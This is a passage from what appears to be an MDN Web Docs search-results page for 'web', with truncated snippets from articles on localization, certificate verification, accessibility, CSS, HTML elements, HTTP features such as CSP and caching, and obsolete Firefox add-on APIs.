rking with Mercurial. If the documentation is incomplete or you have questions, please drop by the #l10n or #hg channels on irc.mozilla.org. The Mercurial FAQ are also worth a read, should you run into trouble. 25 Localizing with Mozilla Translator Guide, Localization, Translator, l10n No summary! 26 Localizing with Pontoon Junk, Localization Pontoon is a
web-based, What-You-See-Is-What-You-Get (WYSIWYG), localization (l10n) tool. At Mozilla, we use Pontoon to localize all Mozilla products and
websites, ranging from Firefox to Mozilla.org. Pontoon is a very simple and intuitive tool that requires little to no technical skill to use in the l10n workflow. Here we'll discuss how to use Pontoon to localize projects, from first sign-in to finalizing your c...
...: 29 Mozilla Content Localized in Your Language Localization, MDN, Mozilla, Reference, Style guide No summary! 30 Mozilla Content Localized in Your Language Localization This section of the style guide is for you to author. The content here should be what you and your localization team have decided, together, to follow when localizing Mozilla products and
web sites. You are free to add, edit, remove, and localize everything in this section according to how the localization team for your language agrees. All we ask is that you name this page according to this example, "Mozilla Content in Spanish (es-MX)" and add your locale code tag at the bottom. Enjoy developing your style guide! 31 Patching a Localization Localization Say you ha...
... page will walk you through creating a patch for an existing localization. The steps below are fairly generic; for the most part they apply to creating l10n patches for Firefox, Thunderbird, SeaMonkey, or Calendar. 32 SVN for Localizers Intro, Localization, SVN, opensource Welcome to the SVN tutorial for localizers! Here you'll learn the process of using SVN to obtain Mozilla
website source files from the Mozilla servers and pushing your localizations right back to them. First things first, we need to give you a brief introduction to what SVN is and where you can find the necessary tools to get started. If you're already familiar with this information, skip ahead to Mozilla's SVN repositories. 33 Uplifting a localization from Central to Aurora Guide, Locali...
...And 5 more matches
Index
consequence, it will be necessary to try multiple different alternative routes while searching for (Z), in a recursive manner. Only the newer verification engine (internally named libPKIX) is capable of doing that properly. ...
...tion engine (internally named libPKIX) is capable of doing that properly. It's worth mentioning the Extended Validation (EV) principle, which is an effort by software vendors and CAs to define a stricter set of rules for issuing certificates for
web site certificates. Instead of simply verifying that the requester of a certificate is in control of an administrative email address at the desired
web site's domain, it's required that the CA performs a verification of real world identity documents (such as a company registration document with the country's authority), and it's also required that a browser software performs a revocation check with the CA, prior to granting validity to the certificate. In order to distinguish an EV certificate, CAs will embed a policy OID in the certificate, and...
...stinguish an EV certificate, CAs will embed a policy OID in the certificate, and the browser is expected to verify that a trust chain permits the end entity (EE) certificate to make use of the policy. Only the APIs of the newer libPKIX engine are capable of performing a policy verification. That's a good opportunity to talk about SSL/TLS connections to servers in general (not just EV, not just
websites). Whenever this document mentions SSL, it refers to either SSL or TLS. (TLS is a newer version of SSL with enhanced features.) When establishing an SSL connection to a server, (at least) a server certificate (and its trust chain) is exchanged from the server to the client (e.g., the browser), and the client verifies that the certificate can be verified (including matching the name of the ...
...And 5 more matches
Accessibility Inspector - Firefox Developer Tools
ibility Inspector provides a means to access important information exposed to assistive technologies on the current page via the accessibility tree, allowing you to check what's missing or otherwise needs attention. This article takes you through the main features of the Accessibility Inspector and how to use it. A (very) brief guide to accessibility Accessibility is the practice of making your
websites usable by as many people as possible. This means trying your best to not lock anyone out of accessing information because of any disability they may have, or any other personal circumstances such as the device they are using, the speed of their network connection, or their geographic location or locale. You can find more extensive information in the Accessibility section of MDN
Web Docs. He...
...hey may have, or any other personal circumstances such as the device they are using, the speed of their network connection, or their geographic location or locale. You can find more extensive information in the Accessibility section of MDN
Web Docs. Here we are mainly talking about exposing information to people with visual disabilities -- this is done via the accessibility APIs available inside
web browsers, which expose information on what roles the different elements on your page play (e.g., are they just text, or are they buttons, links, form elements, etc.?). Semantic DOM elements have roles assigned to them by default that hint at what their purpose is. Sometimes, however, you need to use some non-semantic markup (e.g., <div>s) to build a complex custom control, and the control won't ...
...ttributes to provide your own roles. Roles and other information exposed by browser accessibility APIs are presented in a hierarchical structure called the accessibility tree. This is a bit like the DOM tree, except that it contains a more limited set of elements and slightly different information about them. Assistive technologies like screenreaders use this information to find out what's on a
web page, tell their users what's there, and enable them to interact with the page. The Accessibility Inspector also uses this information to provide valuable accessibility debugging capabilities in the DevTools. Accessing the Accessibility Inspector When you first open any of the other Developer Tools, the accessibility features are turned off (unless you've already got them turned on in another b...
...And 5 more matches
Accessibility
Accessibility (often abbreviated to A11y--as in "a" then 11 characters then "y") in
Web development means enabling as many people as possible to use
Web sites, even when those people's abilities are limited in some way. For many people, technology makes things easier. For people with disabilities, technology makes things possible. Accessibility means developing content to be as accessible as possible no matter an individual's physical and cognitive abilities and no matter how they access the
web. "The
Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. ...
...r. For people with disabilities, technology makes things possible. Accessibility means developing content to be as accessible as possible no matter an individual's physical and cognitive abilities and no matter how they access the
web. "The
Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. ...
... HTML: A good basis for accessibility A great deal of
web content can be made accessible just by making sure the correct HTML elements are used for the correct purpose at all times. This article looks in detail at how HTML can be used to ensure maximum accessibility. CSS and JavaScript accessibility best practices CSS and...
...And 5 more matches
Border-image generator - CSS: Cascading Style Sheets
cept IE6 and lower */ /* * UI Component */ .ui-input-slider { height: 20px; font-family: "Segoe UI", Arial, Helvetica, sans-serif; -moz-user-select: none; user-select: none; } .ui-input-slider * { float: left; height: 100%; line-height: 100%; } /* Input Slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -
webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background: url("https:/...
...**/ /* * UI DropDown */ /* Dropdown */ .ui-dropdown { height: 2em; width: 120px; font-family: "Segoe UI", Arial, Helvetica, sans-serif; font-size: 12px; background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png"); background-position: right center; background-repeat: no-repeat; background-color: #359740; position: relative; -moz-box-sizing: border-box; -
webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -
webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-dropdown:hover { cursor: pointer; background-color: #208B20; } /* Dropdown Select Button */ .ui-dropdown-select { height: inherit; padding: 0 0.75em; color: #FFF; line-height: 2em; } /* Dropdown List */ .ui-dropdown-list { width: 1...
...: #FFF; line-height: 2em; } /* Dropdown List */ .ui-dropdown-list { width: 100%; height: 150px; max-height: 150px; margin: 0; padding: 0 0.3em; border: 3px solid #3490D2; border-color: #208B20; background: #666; background-color: #EEF1F5; color: #000; position: absolute; top: 2em; left: 0; z-index: 100; overflow: hidden; transition: all 0.3s; -moz-box-sizing: border-box; -
webkit-box-sizing: border-box; box-sizing: border-box; } .ui-dropdown-list:hover { overflow: auto; } .ui-dropdown-list[data-hidden='true'] { height: 0 !important; opacity: 0; visibility: hidden; } .ui-dropdown[data-position='left'] .ui-dropdown-list { left: -100%; top: 0; } .ui-dropdown[data-position='right'] .ui-dropdown-list { left: 100%; top: 0; } .ui-dropdown-list > div { width: 10...
...And 5 more matches
transition-delay - CSS: Cascading Style Sheets
nd ::after pseudo-elementsInheritednoComputed valueas specifiedAnimation typediscrete Formal syntax <time># Examples transition-delay: 0.5s <div class="parent"> <div class="box">Lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -
webkit-transition-property: width height background-color font-size left top color; -
webkit-transition-duration:2s; -
webkit-transition-delay:0.5s; -
webkit-transition-timing-function: linear; transition-property: width height background-color font-size left top color; transition-duration:2s; transition-delay:0.5s; transition-timing-function: linear; } .box1{ width: 50px...
...5s; -
webkit-transition-timing-function: linear; transition-property: width height background-color font-size left top color; transition-duration:2s; transition-delay:0.5s; transition-timing-function: linear; } .box1{ width: 50px; height: 50px; background-color: blue; color: yellow; font-size: 18px; left: 150px; top:25px; position:absolute; -
webkit-transition-property: width height background-color font-size left top color; -
webkit-transition-duration:2s; -
webkit-transition-delay:0.5s; -
webkit-transition-timing-function: linear; transition-property: width height background-color font-size left top color; transition-duration:2s; transition-delay:0.5s; transition-timing-function: linear; } function updateTrans...
....box1"); el.className = "box"; } return el; } var intervalID = window.setInterval(updateTransition, 7000); transition-delay: 1s <div class="parent"> <div class="box">Lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -
webkit-transition-property: width height background-color font-size left top color; -
webkit-transition-duration:2s; -
webkit-transition-delay:1s; -
webkit-transition-timing-function: linear; transition-property: width height background-color font-size left top color; transition-duration:2s; transition-delay:1s; transition-timing-function: linear; } .box1{ width: 50px; ...
...And 5 more matches
user-select - CSS: Cascading Style Sheets
lect text. This doesn't have any effect on content loaded as chrome, except in textboxes. ...
...e any effect on content loaded as chrome, except in textboxes. ...
...ded as chrome, except in textboxes. ...
...And 5 more matches
A hybrid approach - Developer guides
This brings us to our third approach, which aims to avoid some of the shortcomings the separate sites and responsive design approaches by combining them. This hybrid approach centers around breaking down mobile development into its three goals, and then applying the best techniques available to tackle each goal individually. This article presents one potential combination of techniques as an example here, but different combinations will be appropriate under different circumstances. ...
...ree goals, and then applying the best techniques available to tackle each goal individually. This article presents one potential combination of techniques as an example here, but different combinations will be appropriate under different circumstances. The most important concept to remember is that server-side and client-side techniques can be combined to fit your situation. The Good Responsive
web design is great -- right now it is the best technique available for making layouts look as good as possible in a variety of circumstances. If your mobile and desktop use cases are similar enough, this is definitely the preferred option for layout changes. However, it can be a pain to use client-side techniques to alter site content to fit the user's context. Luckily, we aren't technically constr...
...ead of maintaining two completely different sites, we simply redirect users to pages for the content they care about. And since the design is responsive, you know that each page looks as good as possible on the user's screen. We can also address some of the performance problems with responsive design by incorporating server-side techniques. For example, an often-criticized point about responsive
web design is that full-resolution images are sent to all devices, including phones that show the images scaled down anyway. One such technique for dealing with this issue uses server-side user-agent detection along with the WURFL device capability library to send a properly sized image for the user's device. A range of products are also emerging which provide this as a service. Of course, this techn...
...And 5 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
method can be used to determine the beginning point of the media timeline's reference frame. disableRemotePlayback A Boolean attribute used to disable the capability of remote playback in devices that are attached using wired (HDMI, DVI, etc.) and wireless technologies (Miracast, Chromecast, DLNA, AirPlay, etc). See this proposed specification for more information. ...
... loop A Boolean attribute: if specified, the audio player will automatically seek back to the start upon reaching the end of the audio. muted A Boolean attribute that indicates whether the audio will be initially silenced. Its default value is false. ...
...e x-
webkit-airplay="deny" as a fallback. duration Read only A double-precision floating-point value which indicates the duration (total length) of the audio in seconds, on the media's timeline. If no media is present on the element, or the media is not valid, the returned value is NaN. If the media has no known end (such as for live streams of unknown duration,
web radio, media incoming from
WebRTC, and so forth), this value is +Infinity. loop A Boolean attribute: if specified, the audio player will automatically seek back to the start upon reaching the end of the audio. muted A Boolean attribute that indicates whether the audio will be initially silenced. Its default value is false. preload This enumerated attribute is intended to provide a hint to the browser about what the autho...
...And 5 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
The <input> element is one of the most powerful and complex in all of HTML due to the sheer number of combinations of input types and attributes. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ilable on some browsers. As a general rule, you should avoid using them unless it can't be helped. Attribute Description autocorrect A string indicating whether or not autocorrect is on or off. Safari only. incremental Whether or not to send repeated search events to allow updating live search results while the user is still editing the value of the field.
WebKit and Blink only (Safari, Chrome, Opera, etc.). mozactionhint A string indicating the type of action that will be taken when the user presses the Enter or Return key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. Firefox for Android only. orient Sets the orientation of the range slider. Firefox only. re...
...when the user presses the Enter or Return key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. Firefox for Android only. orient Sets the orientation of the range slider. Firefox only. results The maximum number of items that should be displayed in the drop-down list of previous search queries. Safari only.
webkitdirectory A Boolean indicating whether or not to only allow the user to choose a directory (or directories, if multiple is also present) autocorrect A Safari extension, the autocorrect attribute is a string which indicates whether or not to activate automatic correction while the user is editing this field. Permitted values are: on Enable automatic correction of typos, as wel...
...And 5 more matches
Microformats - HTML: Hypertext Markup Language
croformats2 is an update to microformats that provides a simpler way of annotating HTML structured syntax & vocabularies than previous approaches of using RDFa and microdata which require learning new attributes. Microformats are supported by all major search engines. Search engines benefit greatly from direct access to this structured data because it allows them to understand the information on
web pages and provide more relevant results to users. In addition to being machine-readable, their format is designed to be easily read by humans. To create a microformats object, h-* class names are used in the class attribute. To add a property to an object, the p-*, u-*, dt-*, e-* class names are used on one of the object's descendants. There are open source parsing libraries for most langua...
... to being machine-readable, their format is designed to be easily read by humans. To create a microformats object, h-* class names are used in the class attribute. To add a property to an object, the p-*, u-*, dt-*, e-* class names are used on one of the object's descendants. There are open source parsing libraries for most languages for microformats2. How Microformats Work An author of a
webpage can add microformats to their HTML. For example if they wanted to identify themselves they could use an h-card such as: HTML Example <a class="h-card" href="http://alice.example.com">Alice Blogger</a> When a parser encounters this data, it will know that this page contains a "card" which describes a person or organization named Alice Blogger with a URL of http://alice.example.com/. The pa...
... "value": "Mozilla Foundation", "type": ["h-card"], "properties": { "name": ["Mozilla Foundation"], "url": ["http://mozilla.org/"] } }] } }] } Note: the nested h-card has implied 'name' and 'url' properties, just like any other root-class-name-only h-card on an <a href> would. h-entry The h-entry microformat represents episodic or datestamped content on the
web. h-entry is often used with content intended to be syndicated, e.g. blog posts. Example h-entry as a blog post: <article class="h-entry"> <h1 class="p-name">Microformats are amazing</h1> <p>Published by <a class="p-author h-card" href="http://example.com">W. Developer</a> on <time class="dt-published" datetime="2013-06-13 12:00:00">13<sup>th</sup> June 2013</time></p> <p class="p-su...
...And 5 more matches
Content Security Policy (CSP) - HTTP
CSP is designed to be fully backward compatible (except CSP version 2 where there are some explicitly-mentioned inconsistencies in backward compatibility; more details here section 1.1). Browsers that don't support it still work with servers that implement it, and vice-versa: browsers that don't support CSP simply ignore it, functioning as usual, defaulting to the standard same-origin policy for
web content. If the site doesn't offer the CSP header, browsers likewise use the standard same-origin policy. To enable CSP, you need to configure your
web server to return the Content-Security-Policy HTTP header. (Sometimes you may see mentions of the X-Content-Security-Policy header, but that's an older version and you don't need to specify it anymore.) Alternatively, the <meta> element can be us...
...TTPS for data transfer, but also marking all cookies with the secure attribute and providing automatic redirects from HTTP pages to their HTTPS counterparts. Sites may also use the Strict-Transport-Security HTTP header to ensure that browsers connect to them only over an encrypted channel. Using CSP Configuring Content Security Policy involves adding the Content-Security-Policy HTTP header to a
web page and giving it values to control what resources the user agent is allowed to load for that page. For example, a page that uploads and displays images could allow images from anywhere, but restrict a form action to a specific endpoint. A properly designed Content Security Policy helps protect a page against a cross site scripting attack. This article explains how to construct such headers prop...
...tive to restrict inline styles from being applied from a <style> element or a style attribute. There are specific directives for a wide variety of types of items, so that each type can have its own policy, including fonts, frames, images, audio and video media, scripts, and workers. Examples: Common use cases This section provides examples of some common security policy scenarios. ...
...And 5 more matches
HTTP caching - HTTP
The performance of
web sites and applications can be significantly improved by reusing previously fetched resources.
Web caches reduce latency and network traffic and thus lessen the time needed to display a representation of a resource. By making use of HTTP caching,
Web sites become more responsive. Different kinds of caches Caching is a technique that stores a copy of a given resource and serves it back when requested. When a
web cache has a requested resource in its store, it intercepts the request and returns its copy instead of re-downloading from the originating server. This achieves several goals: it eases the load of the server that doesn't need to serve all clients itself, and it improves performance by being closer to the client, i.e., it takes less time to transmit the resource...
...On the other side, it has to be configured properly as not all resources stay identical forever: it is important to cache a resource only until it changes, not longer. There are several kinds of caches: these can be grouped into two main categories: private or shared caches. ...
...r. There are several kinds of caches: these can be grouped into two main categories: private or shared caches. A shared cache is a cache that stores responses for reuse by more than one user. A private cache is dedicated to a single user. This page will mostly talk about browser and proxy caches, but there are also gateway caches, CDN, reverse proxy caches and load balancers that are deployed on
web servers for better reliability, performance and scaling of
web sites and
web applications. Private browser caches A private cache is dedicated to a single user. You might have seen "caching" in your browser's settings already. A browser cache holds all documents downloaded via HTTP by the user. This cache is used to make visited documents available for back/forward navigation, saving, viewing...
...And 5 more matches
List of default Accept values - HTTP
ation. Note that all browsers add the */* MIME Type to cover all cases. This is typically used for requests initiated via the address bar of a browser, or via an HTML <a> element. ...
...6) text/html,application/xhtml+xml,application/xml;q=0.9,image/
webp,*/*;q=0.8 (in Firefox 65) text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (before) In Firefox 65 and earlier, this value can be modified using the network.http.accept.default parameter. ...
...Explorer 8 image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */* See IE and the Accept Header (IEInternals' MSDN blog). ...
...And 5 more matches
HTTP Public Key Pinning (HPKP) - HTTP
It has been removed in modern browsers and is no longer supported. To ensure the authenticity of a server's public key used in TLS sessions, this public key is wrapped into a X.509 certificate which is usually signed by a certificate authority (CA). ...
...It has been removed in modern browsers and is no longer supported. To ensure the authenticity of a server's public key used in TLS sessions, this public key is wrapped into a X.509 certificate which is usually signed by a certificate authority (CA). ...
...
web client to associate a specific cryptographic public key with a certain
web server to decrease the risk of MITM attacks with forged certificates. It has been removed in modern browsers and is no longer supported. To ensure the authenticity of a server's public key used in TLS sessions, this public key is wrapped into a X.509 certificate which is usually signed by a certificate authority (CA).
Web clients such as browsers trust a lot of these CAs, which can all create certificates for arbitrary domain names. If an attacker is able to compromise a single CA, they can perform MITM attacks on various TLS connections. HPKP can circumvent this threat for the HTTPS protocol by telling the client which public key belongs to a certain
web server. HPKP is a Trust on First Use (TOFU) technique. The...
...And 5 more matches
HTTP response status codes - HTTP
rver's software. Information responses 100 Continue This interim response indicates that everything so far is OK and that the client should continue the request, or ignore the response if the request is already finished. 101 Switching Protocol This code is sent in response to an Upgrade request header from the client, and indicates the protocol the server is switching to. 102 Processing (
WebDAV) This code indicates that the server has received and is processing the request, but no response is available yet. 103 Early Hints This status code is primarily intended to be used with the Link header, letting the user agent start preloading resources while the server prepares a response. Successful responses 200 OK The request has succeeded. The meaning of the success depends on the...
...t There is no content to send for this request, but the headers may be useful. The user-agent may update its cached headers for this resource with the new ones. 205 Reset Content Tells the user-agent to reset the document which sent this request. 206 Partial Content This response code is used when the Range header is sent from the client to request only part of a resource. 207 Multi-Status (
WebDAV) Conveys information about multiple resources, for situations where multiple status codes might be appropriate. 208 Already Reported (
WebDAV) Used inside a <dav:propstat> response element to avoid repeatedly enumerating the internal members of multiple bindings to the same collection. 226 IM Used (HTTP Delta encoding) The server has fulfilled a GET request for the resource, and the respon...
...server can not find the requested resource. In the browser, this means the URL is not recognized. In an API, this can also mean that the endpoint is valid but the resource itself does not exist. Servers may also send this response instead of 403 to hide the existence of a resource from an unauthorized client. This response code is probably the most famous one due to its frequent occurrence on the
web. ...
...And 5 more matches
Content Scripts - Archive of obsolete content
Many add-ons need to access and modify the content of
web pages. But the main add-on code doesn't get direct access to
web content. Instead, SDK add-ons need to factor the code that gets access to
web content into separate scripts that are called content scripts. This page describes how to develop and implement content scripts. Content scripts can be one of the more confusing aspects of working with the SDK, but you're very likely to have to use them. ...
... that are called content scripts. This page describes how to develop and implement content scripts. Content scripts can be one of the more confusing aspects of working with the SDK, but you're very likely to have to use them. ...
...can be one of the more confusing aspects of working with the SDK, but you're very likely to have to use them. There are five basic principles: the add-on's main code, including "main.js" and other modules in "lib", can use the SDK high-level and low-level APIs, but can't access
web content directly content scripts can't use the SDK's APIs (no access to globals exports, require) but can access
web content SDK APIs that use content scripts, like page-mod and tabs, provide functions that enable the add-on's main code to load content scripts into
web pages content scripts can be loaded in as strings, but are more often stored as separate files under the add-on's "data" directory. jpm doesn't make a "data" directory by default, so you must add it and put your content scripts in there. a mes...
...And 4 more matches
widget - Archive of obsolete content
Firefox 29 onwards. Please see the ui module for replacements. In particular, for a simple button, try the action button or toggle button APIs, and for a more complex widget try the toolbar or sidebar APIs. Create a simple user interface for an add-on in Firefox's add-on bar. Usage "Widgets" are small pieces of content that live in the Firefox 4 add-on bar. They can be simple icons or complex
web pages. You can attach panels to them that open when they're clicked, or you can define a custom click handler to perform some other action, like opening a
web page in a tab. There are a few advantages to using widgets over an ad hoc user interface. First, your users will be accustomed to interacting with add-ons via widgets and the add-on bar. Second, it allows Firefox to treat your interface as...
...acting with add-ons via widgets and the add-on bar. Second, it allows Firefox to treat your interface as a first-class citizen. For example, in the future Firefox may allow the user to drag widgets from the add-on bar to other toolbars. By exposing your interface as a widget, your add-on would automatically inherit such functionality. Creation and content Widgets can contain images or arbitrary
web content. You can include this content inline as a string by using the content property, or point to content using a URL with the contentURL property. Upon creation, the widget is automatically added to the add-on bar. You can set the width of a widget, but the height is fixed so as to fit in the add-on bar. If the content is an image, it is automatically scaled to be 16x16 pixels. For example, ...
...can make contentURL point to an HTML or icon file which you have packaged inside your add-on. Just save the file in your add-on's data directory, and reference it using the data.url() method of the self module: var data = require("sdk/self").data; require("sdk/widget").Widget({ id: "my-widget", label: "My Widget", contentURL: data.url("my-content.html") }); This widget contains an entire
web page: require("sdk/widget").Widget({ id: "hello-display", label: "My Hello Widget", content: "Hello!", width: 50 }); Widgets are quite small by default, so this example used the width property to grow it in order to show all the text. Scripting widget content To interact with the widget's content you need to load a separate script into the panel. In the SDK these scripts are called "c...
...And 4 more matches
Finding window handles - Archive of obsolete content
e (HWND [Widows], GdkWindow* [Linux], NSWindow* [MacOSX],...) of a top-level window, for all plateforms, as a string. When working on Windows platforms, many APIs and frameworks require a window handle (HWND type). Since Mozilla tries to be as cross-platform as possible, it can be difficult to get the handle you need. Note: Starting in Gecko 2.0, only the top level browser window has an HWND.
Web content windows (in tabs) do not have their own HWNDs. Typically the top level browser window HWND has no children, although if there are windowed plugins (such as Flash) visible in the window, they will have HWNDs whose parent is the top level browser window HWND. Here is some simple code that can get access to Mozilla window handles. This code can be used from external application or from an ...
...in and cause crash of Firefox, that's a bug of firefox.(https://bugzilla.mozilla.org/show_bug.cgi?id=489045) Now, let's move forward. First, in JavaScript, the code gets the nsIBaseWindow we want, it's a direct child of the top nsIBaseWindow. ...
... see the article: Standard OS Libraries - UNIX Section) Windows Components.utils.import('resource://gre/modules/Services.jsm'); var browserWindow = Services.wm.getMostRecentWindow('navigator:browser'); if (!browserWindow) { throw new Error('No browser window found'); } var baseWindow = browserWindow.QueryInterface(Ci.nsIInterfaceRequestor) .getInterface(Ci.nsI
WebNavigation) .QueryInterface(Ci.nsIDocShellTreeItem) .treeOwner .QueryInterface(Ci.nsIInterfaceRequestor) .getInterface(Ci.nsIBaseWindow); var hwndString = baseWindow.nativeHandle; Components.utils.import('resource://gre/modules/ctypes.jsm'); var user32 = ctypes.open('user32.dl...
...And 4 more matches
HTML to DOM - Archive of obsolete content
Although you can now natively parse HTML using DOMParser and XMLHttpRequest, this is a new feature that is not yet supported by all browsers in use in the wild. The code snippets on this page will let your site work until these new features are more widely available. Safely parsing simple HTML to DOM When using XMLHttpRequest to get the HTML of a remote
webpage, it is often advantageous to turn that HTML string into DOM for easier manipulation. However, there are potential dangers involved in injecting remote content in a privileged context in your extension, so it can be desirable to parse the HTML safely. The function below will safely parse simple HTML and return a DOM object which can be manipulated like
web page elements. This will remove tags like <script>, <style>, <head>, <body>,...
....createElement("iframe"); // iframe (or browser on older Firefox) frame.setAttribute("id", "sample-frame"); frame.setAttribute("name", "sample-frame"); frame.setAttribute("type", "content"); frame.setAttribute("collapsed", "true"); document.getElementById("main-window").appendChild(frame); // or // document.documentElement.appendChild(frame); // set restrictions as needed frame.
webNavigation.allowAuth = false; frame.
webNavigation.allowImages = false; frame.
webNavigation.allowJavascript = false; frame.
webNavigation.allowMetaRedirects = true; frame.
webNavigation.allowPlugins = false; frame.
webNavigation.allowSubframes = false; // listen for load frame.addEventListener("load", function (event) { // the document of the HTML in the DOM var doc = event.origin...
... Using a hidden XUL iframe (alternate example) Sometimes, a browser element is overkill, or does not meet your needs, or you can't fulfill its requirements. While working on Do...
...And 4 more matches
Sidebar - Archive of obsolete content
's hidden or already showing SidebarUI.show("viewHistorySidebar"); // hide the sidebar, if one is showing SidebarUI.hide(); Avoid opening the sidebar on startup. Users have been known to complain about this "feature", and if two or more extensions try to open their sidebars on startup, the user will see a flurry of sidebars opening and closing with which ever extension going last "winning". ...
...UI.show("viewHistorySidebar"); // hide the sidebar, if one is showing SidebarUI.hide(); Avoid opening the sidebar on startup. Users have been known to complain about this "feature", and if two or more extensions try to open their sidebars on startup, the user will see a flurry of sidebars opening and closing with which ever extension going last "winning".
Web panels sidebar Content such as
web pages can be safely loaded as sidebar in the "view
WebPanelsSidebar". Bookmarks with "Load this bookmark in sidebar" checked in the properties open in the "view
WebPanelsSidebar". A
web page can use window.sidebar to create bookmark with that property. To open a page in the "view
WebPanelsSidebar" from chrome code (browser/addon/extension) such as from menuitem, it can call: open
WebPanel(aTitle, a...
...The good practice to determine which sidebar is open at a time is by testing in location property, which is a chrome URL: var sidebarWindow = document.getElementById("sidebar").contentWindow; if (sidebarWindow.location.href == "chrome://yourextension/content/whatever.xul") { // Act on the sidebar ...
...And 4 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
The brains and primary driving force behind this compelling new design is Douglas Bowman, Network Design Manager for Terra Lycos, who graciously agreed to an interview and in the process shed a lot of light on what goes into a standards-based redesign. ...
...s draws between 20 and 25 million page views every month. On October 11, 2002, Wired launched a brand-new site design that uses validating XHTML for its structure and a small collection of CSS files for its layout. The new design clearly shows what some experts have been saying: that standards-based design can be visually compelling and preserve the interface conventions we've come to expect from
Web pages. The brains and primary driving force behind this compelling new design is Douglas Bowman, Network Design Manager for Terra Lycos, who graciously agreed to an interview and in the process shed a lot of light on what goes into a standards-based redesign. Wired News Redesign in a Nutshell Driven by XHTML 1.0 Transitional and CSS; Allows centralized control over layout and appearance for...
...ng design standards for our network of sites. This includes rules and guidelines applying to everything from headers, footers, page hierarchy, titles, typography, iconography, navigation, and others. So I'm very familiar with standards and the benefits of using them. With the Wired News design process, the scenario was reversed. ...
...And 4 more matches
Creating a Microsummary - Archive of obsolete content
Generators can also be independently downloaded and installed by users if they include a list of pages to which they apply. ...
...uild the XSLT transform sheet that converts that page into its microsummary, learn how to specify that the generator applies to that page, and find out how to make the generator available for download and installation. In each step of revising the transform sheet and other code in this tutorial, new material added will be shown in boldface so you can follow along more easily. Note: if you are a
web site developer, and you want to create microsummaries for pages on your site, you can write generators to do so, but a simpler and more efficient approach is to create the microsummaries on the server-side using the same tools and languages you already use to generate pages. For example, if you use PHP scripts to generate pages on your site, you could write PHP code to output a microsummary when...
...ake sure to prepend a space to the phrase in order to separate it from the download count. With this addition, we've finished writing the XSLT transform sheet that converts the Spread Firefox home page to its microsummary. Specifying the Page to which the Generator Applies Now that we've written the transform sheet, we have to specify the page to which it applies. ...
...And 4 more matches
JavaScript crypto - Archive of obsolete content
Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. ...
...Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. ...
...using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. Warning: The features mentioned in this article are deleted proprietary Mozilla extensions, and are not supported in any other browser. They won't work in Firefox 34 or later. Use <keygen> or the future
Web Crypto API instead. Using the Mozilla crypto object from JavaScript Mozilla defines a special JavaScript object to allow
web pages access to certain cryptographic-related services. These services are a balance between the functionality
web pages need and the requirement to protect users from malicious
web sites. Most of these services are available via the DOM window object as window.crypto. ...
...And 4 more matches
Mozilla Application Framework - Archive of obsolete content
ork that does much of the work for you, tools to help you develop your apps, and a community of people to help. Framework XUL A comprehensive, cross-platform UI toolkit with an easy-to-learn XML language for defining UI structure, a schema for localization, and support for both native and cross-platform (using CSS) look and feel to make writing UIs quick and painless. Gecko A performant
web content rendering/editing engine with world-leading support for standards that you can drop into your application with a single line of XUL. Necko A wicked-fast, extensible networking library with built-in support for many common protocols and a well-defined plug-in interface for custom protocol handling so you can add the protocols you need. XPCOM A simple, cross-platform component mod...
...ed-fast, extensible networking library with built-in support for many common protocols and a well-defined plug-in interface for custom protocol handling so you can add the protocols you need. XPCOM A simple, cross-platform component model with multiple language bindings and IDL descriptions so you can plug your custom functionality into the framework and connect it with other components.
Web Services Built-in support for XMLHttpRequest, XML-RPC, SOAP, and WSDL to enable Mozilla-based application authors to take advantage of the exploding world of
web services. XPInstall Our cross-platform installer for trivial packaging and installation of your Mozilla framework applications. and much much more... Tools Venkman A JavaScript debugger with support for breakpoints, conditio...
...rofile data collection, report generation, code reformatting (pretty printing), and more. DOM Inspector A tool for inspecting and editing the structure and widgets of your user interface while your application is running. XULMaker A GUI builder currently under development that lets you drag-and-drop widgets onto a grid to build your user interface. ...
...And 4 more matches
XUL Structure - Archive of obsolete content
The Mozilla rendering engine takes the content in the form of HTML source and transforms it into a document tree. ...
... the same underlying code. This means that the same CSS properties may be used to style both HTML and XUL, and many of the features can be shared between both. However, there are some features that are specific to HTML, such as forms, and others which are specific to XUL, such as overlays. Since XUL and HTML are handled in the same way, you can load both from either your local file system, from a
web page, or from an extension or standalone XULRunner application. Content from remote sources (e.g. http://localhost/~username/ ), regardless of whether they are HTML or XUL or another document type, are limited in the type of operations they can perform, for security reasons. For this reason, Mozilla provides a method of installing content locally and registering the installed files as part of it...
